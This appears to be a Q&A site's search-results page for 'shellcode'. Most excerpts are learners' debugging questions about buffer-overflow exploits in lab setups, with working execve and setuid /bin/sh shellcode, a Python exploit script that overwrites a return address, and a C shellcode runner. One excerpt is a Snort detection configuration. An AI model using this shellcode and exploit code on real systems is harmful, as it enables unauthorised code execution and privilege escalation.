Search Results

Search found 12 results on 1 pages for 'shellcode'.

Page 1/1 | 1 

  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

    Read the article

  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

    Read the article

  • testing a shellcode...

    - by kmitnick
    hey folks, I have this piece of code to test a shellcode but I don't understand it so can anyone explain it to me??? forget about the assembly shellcode, what i want to understand is the C code char shellcode[] = "..."; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) shellcode; (int)(*func)(); } I mean everything, what is the empty () ,please explain it as if you are explaining it to a beginner thnx all

    Read the article

  • "bin/sh: can't access tty; job control turned off” error when running shellcode"

    - by Nosrettap
    I'm writing shellcode to exploit a buffer overflow vulnerability on a server. To do so I have port binding shellcode that I send to the server and then I run (from a linux terminal) the command telnet serverAdress 4444 where 4444 is the port which I have opened up. The hope is that I will receive a shell back that I can use to execute commands. However, I always end up with the command bin/sh: can't access tty; job control turned off I can't change any of the server code, and I believe the shellcode is correct because I got it from this website (http://www.tsirogiannis.com/exploits-vulnerabilities-videos-papers-shellcode/linuxx86-port-binding-shellcode-xor-encoded-152-bytes/). From my research, it appears that this may have to do with the mode that my terminal is running in (something called interactive mode...or something like that). All computers involved are linux machines and the machine that I am on is running the latest version of Ubuntu. Any ideas what this job control error means and how I can fix it?

    Read the article

  • shellcode is truncated by \x20

    - by marcelo carvalho
    Why is my shellcode is truncated after \x20 opcode, when it is copied by string to stack on a second vulnerable program? --cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--

    Read the article

  • shellcode is trunced by \x20

    - by marcelo carvalho
    Dear Masters Why my shellcode is trunced after "\x20" opcode, when it is copied by string to stack on a second vulnerable program? --cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" <---only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--

    Read the article

  • Books and shellcode examples

    - by Xor
    i read "art of exploitation" and "gray hat hackers".Both these books examples written for x86 systems.i have a centrino laptop and an amd64 pc.I can't make work examples for stack based overflow.

    Read the article

  • I have this code .... Ethical Hacking

    - by kmitnick
    hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code. //shellcode.c char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } I give this the super user privileges, with chmod u+s shellcode as a super user, then go back to normal user with su - normal_user but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

    Read the article

  • can anyone explain this code to me???

    - by Abed
    //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } can anyone give me a better explanation

    Read the article

  • Jumping into argv?

    - by jth
    Hi, I`am experimenting with shellcode and stumbled upon the nop-slide technique. I wrote a little tool that takes buffer-size as a parameter and constructs a buffer like this: [ NOP | SC | RET ], with NOP taking half of the buffer, followed by the shellcode and the rest filled with the (guessed) return address. Its very similar to the tool aleph1 described in his famous paper. My vulnerable test-app is the same as in his paper: int main(int argc, char **argv) { char little_array[512]; if(argc>1) strcpy(little_array,argv[1]); return 0; } I tested it and well, it works: jth@insecure:~/no_nx_no_aslr$ ./victim $(./exploit 604 0) $ exit But honestly, I have no idea why. Okay, the saved eip was overwritten as intended, but instead of jumping somewhere into the buffer, it jumped into argv, I think. gdb showed up the following addresses before strcpy() was called: (gdb) i f Stack level 0, frame at 0xbffff1f0: eip = 0x80483ed in main (victim.c:7); saved eip 0x154b56 source language c. Arglist at 0xbffff1e8, args: argc=2, argv=0xbffff294 Locals at 0xbffff1e8, Previous frame's sp is 0xbffff1f0 Saved registers: ebp at 0xbffff1e8, eip at 0xbffff1ec Address of little_array: (gdb) print &little_array[0] $1 = 0xbfffefe8 "\020" After strcpy(): (gdb) i f Stack level 0, frame at 0xbffff1f0: eip = 0x804840d in main (victim.c:10); saved eip 0xbffff458 source language c. Arglist at 0xbffff1e8, args: argc=-1073744808, argv=0xbffff458 Locals at 0xbffff1e8, Previous frame's sp is 0xbffff1f0 Saved registers: ebp at 0xbffff1e8, eip at 0xbffff1ec So, what happened here? I used a 604 byte buffer to overflow little_array, so he certainly overwrote saved ebp, saved eip and argc and also argv with the guessed address 0xbffff458. Then, after returning, EIP pointed at 0xbffff458. But little_buffer resides at 0xbfffefe8, that`s a difference of 1136 byte, so he certainly isn't executing little_array. I followed execution with the stepi command and well, at 0xbffff458 and onwards, he executes NOPs and reaches the shellcode. I'am not quite sure why this is happening. First of all, am I correct that he executes my shellcode in argv, not little_array? And where does the loader(?) place argv onto the stack? I thought it follows immediately after argc, but between argc and 0xbffff458, there is a gap of 620 bytes. How is it possible that he successfully "lands" in the NOP-Pad at Address 0xbffff458, which is way above the saved eip at 0xbffff1ec? Can someone clarify this? I have actually no idea why this is working. My test-machine is an Ubuntu 9.10 32-Bit Machine without ASLR. victim has an executable stack, set with execstack -s. Thanks in advance.

    Read the article

  • Snort's problems in generating alert from Darpa 1998 intrusion detection dataset.

    - by manofseven2
    Hi. I’m working on DARPA 1998 intrusion detection dataset. When I run snort on this dataset (outside.tcpdump file), snort don’t generate complete list of alerts. It means snort start from last few hours of tcpdump file and generate alerts about this section of file and all of packets in first hours are ignored. Another problem in generatin alert is in time stamp of generated alerts. This means when I run snort on a specific day of dataset, snort insert incorrect time stamp for that alert. The configuration and command line statement and other information about my research are: Snort version: 2.8.6 Operating system: windows XP Rule version: snortrules-snapshot-2860_s.tar.gz -———————————————————————— Command line: snort_2.8.6 c D:\programs\Snort_2.8.6\snort\etc\snort.conf -r d:\users\amir\docs\darpa\training_data\week_3\monday\outside.tcpdump -l D:\users\amir\current-task\research\thesis\snort\890230 -————————————————————————— Snort.config Hi. I'm working on DARPA 1998 intrusion detection dataset. When I run snort on this dataset (outside.tcpdump file), snort don't generate complete list of alerts. It means snort start from last few hours of tcpdump file and generate alerts about this section of file and all of packets in first hours are ignored. Another problem in generatin alert is in time stamp of generated alerts. This means when I run snort on a specific day of dataset, snort insert incorrect time stamp for that alert. The configuration and command line statement and other information about my research are: Snort version: 2.8.6 Operating system: windows XP Rule version: snortrules-snapshot-2860_s.tar.gz Command line: snort_2.8.6 -c D:\programs\Snort_2.8.6\snort\etc\snort.conf -r d:\users\amir\docs\darpa\training_data\week_3\monday\outside.tcpdump -l D:\users\amir\current-task\research\thesis\snort\890230 Snort.config # Setup the network addresses you are protecting var HOME_NET any # Set up the external network addresses. Leave as "any" in most situations var EXTERNAL_NET any # List of DNS servers on your network var DNS_SERVERS $HOME_NET # List of SMTP servers on your network var SMTP_SERVERS $HOME_NET # List of web servers on your network var HTTP_SERVERS $HOME_NET # List of sql servers on your network var SQL_SERVERS $HOME_NET # List of telnet servers on your network var TELNET_SERVERS $HOME_NET # List of ssh servers on your network var SSH_SERVERS $HOME_NET # List of ports you run web servers on portvar HTTP_PORTS [80,1220,2301,3128,7777,7779,8000,8008,8028,8080,8180,8888,9999] # List of ports you want to look for SHELLCODE on. portvar SHELLCODE_PORTS !80 # List of ports you might see oracle attacks on portvar ORACLE_PORTS 1024: # List of ports you want to look for SSH connections on: portvar SSH_PORTS 22 # other variables, these should not be modified var AIM_SERVERS [64.12.24.0/23,64.12.28.0/23,64.12.161.0/24,64.12.163.0/24,64.12.200.0/24,205.188.3.0/24,205.188.5.0/24,205.188.7.0/24,205.188.9.0/24,205.188.153.0/24,205.188.179.0/24,205.188.248.0/24] var RULE_PATH ../rules var SO_RULE_PATH ../so_rules var PREPROC_RULE_PATH ../preproc_rules # Stop generic decode events: config disable_decode_alerts # Stop Alerts on experimental TCP options config disable_tcpopt_experimental_alerts # Stop Alerts on obsolete TCP options config disable_tcpopt_obsolete_alerts # Stop Alerts on T/TCP alerts config disable_tcpopt_ttcp_alerts # Stop Alerts on all other TCPOption type events: config disable_tcpopt_alerts # Stop Alerts on invalid ip options config disable_ipopt_alerts # Alert if value in length field (IP, TCP, UDP) is greater th elength of the packet # config enable_decode_oversized_alerts # Same as above, but drop packet if in Inline mode (requires enable_decode_oversized_alerts) # config enable_decode_oversized_drops # Configure IP / TCP checksum mode config checksum_mode: all config pcre_match_limit: 1500 config pcre_match_limit_recursion: 1500 # Configure the detection engine See the Snort Manual, Configuring Snort - Includes - Config config detection: search-method ac-split search-optimize max-pattern-len 20 # Configure the event queue. For more information, see README.event_queue config event_queue: max_queue 8 log 3 order_events content_length dynamicpreprocessor directory D:\programs\Snort_2.8.6\snort\lib\snort_dynamicpreprocessor dynamicengine D:\programs\Snort_2.8.6\snort\lib\snort_dynamicengine\sf_engine.dll # path to dynamic rules libraries #dynamicdetection directory /usr/local/lib/snort_dynamicrules preprocessor frag3_global: max_frags 65536 preprocessor frag3_engine: policy windows detect_anomalies overlap_limit 10 min_fragment_length 100 timeout 180 preprocessor stream5_global: max_tcp 8192, track_tcp yes, track_udp yes, track_icmp no preprocessor stream5_tcp: policy windows, detect_anomalies, require_3whs 180, \ overlap_limit 10, small_segments 3 bytes 150, timeout 180, \ ports client 21 22 23 25 42 53 79 109 110 111 113 119 135 136 137 139 143 \ 161 445 513 514 587 593 691 1433 1521 2100 3306 6665 6666 6667 6668 6669 \ 7000 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779, \ ports both 80 443 465 563 636 989 992 993 994 995 1220 2301 3128 6907 7702 7777 7779 7801 7900 7901 7902 7903 7904 7905 \ 7906 7908 7909 7910 7911 7912 7913 7914 7915 7916 7917 7918 7919 7920 8000 8008 8028 8080 8180 8888 9999 preprocessor stream5_udp: timeout 180 preprocessor http_inspect: global iis_unicode_map unicode.map 1252 compress_depth 20480 decompress_depth 20480 preprocessor http_inspect_server: server default \ chunk_length 500000 \ server_flow_depth 0 \ client_flow_depth 0 \ post_depth 65495 \ oversize_dir_length 500 \ max_header_length 750 \ max_headers 100 \ ports { 80 1220 2301 3128 7777 7779 8000 8008 8028 8080 8180 8888 9999 } \ non_rfc_char { 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 } \ enable_cookie \ extended_response_inspection \ inspect_gzip \ apache_whitespace no \ ascii no \ bare_byte no \ directory no \ double_decode no \ iis_backslash no \ iis_delimiter no \ iis_unicode no \ multi_slash no \ non_strict \ u_encode yes \ webroot no preprocessor rpc_decode: 111 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 no_alert_multiple_requests no_alert_large_fragments no_alert_incomplete preprocessor bo preprocessor ftp_telnet: global inspection_type stateful encrypted_traffic no preprocessor ftp_telnet_protocol: telnet \ ayt_attack_thresh 20 \ normalize ports { 23 } \ detect_anomalies preprocessor ftp_telnet_protocol: ftp server default \ def_max_param_len 100 \ ports { 21 2100 3535 } \ telnet_cmds yes \ ignore_telnet_erase_cmds yes \ ftp_cmds { ABOR ACCT ADAT ALLO APPE AUTH CCC CDUP } \ ftp_cmds { CEL CLNT CMD CONF CWD DELE ENC EPRT } \ ftp_cmds { EPSV ESTA ESTP FEAT HELP LANG LIST LPRT } \ ftp_cmds { LPSV MACB MAIL MDTM MIC MKD MLSD MLST } \ ftp_cmds { MODE NLST NOOP OPTS PASS PASV PBSZ PORT } \ ftp_cmds { PROT PWD QUIT REIN REST RETR RMD RNFR } \ ftp_cmds { RNTO SDUP SITE SIZE SMNT STAT STOR STOU } \ ftp_cmds { STRU SYST TEST TYPE USER XCUP XCRC XCWD } \ ftp_cmds { XMAS XMD5 XMKD XPWD XRCP XRMD XRSQ XSEM } \ ftp_cmds { XSEN XSHA1 XSHA256 } \ alt_max_param_len 0 { ABOR CCC CDUP ESTA FEAT LPSV NOOP PASV PWD QUIT REIN STOU SYST XCUP XPWD } \ alt_max_param_len 200 { ALLO APPE CMD HELP NLST RETR RNFR STOR STOU XMKD } \ alt_max_param_len 256 { CWD RNTO } \ alt_max_param_len 400 { PORT } \ alt_max_param_len 512 { SIZE } \ chk_str_fmt { ACCT ADAT ALLO APPE AUTH CEL CLNT CMD } \ chk_str_fmt { CONF CWD DELE ENC EPRT EPSV ESTP HELP } \ chk_str_fmt { LANG LIST LPRT MACB MAIL MDTM MIC MKD } \ chk_str_fmt { MLSD MLST MODE NLST OPTS PASS PBSZ PORT } \ chk_str_fmt { PROT REST RETR RMD RNFR RNTO SDUP SITE } \ chk_str_fmt { SIZE SMNT STAT STOR STRU TEST TYPE USER } \ chk_str_fmt { XCRC XCWD XMAS XMD5 XMKD XRCP XRMD XRSQ } \ chk_str_fmt { XSEM XSEN XSHA1 XSHA256 } \ cmd_validity ALLO \ cmd_validity EPSV \ cmd_validity MACB \ cmd_validity MDTM \ cmd_validity MODE \ cmd_validity PORT \ cmd_validity PROT \ cmd_validity STRU \ cmd_validity TYPE preprocessor ftp_telnet_protocol: ftp client default \ max_resp_len 256 \ bounce yes \ ignore_telnet_erase_cmds yes \ telnet_cmds yes preprocessor smtp: ports { 25 465 587 691 } \ inspection_type stateful \ normalize cmds \ normalize_cmds { MAIL RCPT HELP HELO ETRN EHLO EXPN VRFY ATRN SIZE BDAT DEBUG EMAL ESAM ESND ESOM EVFY IDENT NOOP RSET SEND SAML SOML AUTH TURN DATA QUIT ONEX QUEU STARTTLS TICK TIME TURNME VERB X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \ max_command_line_len 512 \ max_header_line_len 1000 \ max_response_line_len 512 \ alt_max_command_line_len 260 { MAIL } \ alt_max_command_line_len 300 { RCPT } \ alt_max_command_line_len 500 { HELP HELO ETRN EHLO } \ alt_max_command_line_len 255 { EXPN VRFY ATRN SIZE BDAT DEBUG EMAL ESAM ESND ESOM EVFY IDENT NOOP RSET } \ alt_max_command_line_len 246 { SEND SAML SOML AUTH TURN ETRN DATA RSET QUIT ONEX QUEU STARTTLS TICK TIME TURNME VERB X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \ valid_cmds { MAIL RCPT HELP HELO ETRN EHLO EXPN VRFY ATRN SIZE BDAT DEBUG EMAL ESAM ESND ESOM EVFY IDENT NOOP RSET SEND SAML SOML AUTH TURN DATA QUIT ONEX QUEU STARTTLS TICK TIME TURNME VERB X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \ xlink2state { enabled } preprocessor ssh: server_ports { 22 } \ autodetect \ max_client_bytes 19600 \ max_encrypted_packets 20 \ max_server_version_len 100 \ enable_respoverflow enable_ssh1crc32 \ enable_srvoverflow enable_protomismatch preprocessor dcerpc2: memcap 102400, events [co ] preprocessor dcerpc2_server: default, policy WinXP, \ detect [smb [139,445], tcp 135, udp 135, rpc-over-http-server 593], \ autodetect [tcp 1025:, udp 1025:, rpc-over-http-server 1025:], \ smb_max_chain 3 preprocessor dns: ports { 53 } enable_rdata_overflow preprocessor ssl: ports { 443 465 563 636 989 992 993 994 995 7801 7702 7900 7901 7902 7903 7904 7905 7906 6907 7908 7909 7910 7911 7912 7913 7914 7915 7916 7917 7918 7919 7920 }, trustservers, noinspect_encrypted # SDF sensitive data preprocessor. For more information see README.sensitive_data preprocessor sensitive_data: alert_threshold 25 output alert_full: alert.log output database: log, mysql, user=root password=123456 dbname=snort host=localhost include classification.config include reference.config include $RULE_PATH/local.rules include $RULE_PATH/attack-responses.rules include $RULE_PATH/backdoor.rules include $RULE_PATH/bad-traffic.rules include $RULE_PATH/chat.rules include $RULE_PATH/content-replace.rules include $RULE_PATH/ddos.rules include $RULE_PATH/dns.rules include $RULE_PATH/dos.rules include $RULE_PATH/exploit.rules include $RULE_PATH/finger.rules include $RULE_PATH/ftp.rules include $RULE_PATH/icmp.rules include $RULE_PATH/icmp-info.rules include $RULE_PATH/imap.rules include $RULE_PATH/info.rules include $RULE_PATH/misc.rules include $RULE_PATH/multimedia.rules include $RULE_PATH/mysql.rules include $RULE_PATH/netbios.rules include $RULE_PATH/nntp.rules include $RULE_PATH/oracle.rules include $RULE_PATH/other-ids.rules include $RULE_PATH/p2p.rules include $RULE_PATH/policy.rules include $RULE_PATH/pop2.rules include $RULE_PATH/pop3.rules include $RULE_PATH/rpc.rules include $RULE_PATH/rservices.rules include $RULE_PATH/scada.rules include $RULE_PATH/scan.rules include $RULE_PATH/shellcode.rules include $RULE_PATH/smtp.rules include $RULE_PATH/snmp.rules include $RULE_PATH/specific-threats.rules include $RULE_PATH/spyware-put.rules include $RULE_PATH/sql.rules include $RULE_PATH/telnet.rules include $RULE_PATH/tftp.rules include $RULE_PATH/virus.rules include $RULE_PATH/voip.rules include $RULE_PATH/web-activex.rules include $RULE_PATH/web-attacks.rules include $RULE_PATH/web-cgi.rules include $RULE_PATH/web-client.rules include $RULE_PATH/web-coldfusion.rules include $RULE_PATH/web-frontpage.rules include $RULE_PATH/web-iis.rules include $RULE_PATH/web-misc.rules include $RULE_PATH/web-php.rules include $RULE_PATH/x11.rules include threshold.conf -————————————————————————————- Can anyone help me to solve this problem? Thanks.

    Read the article

1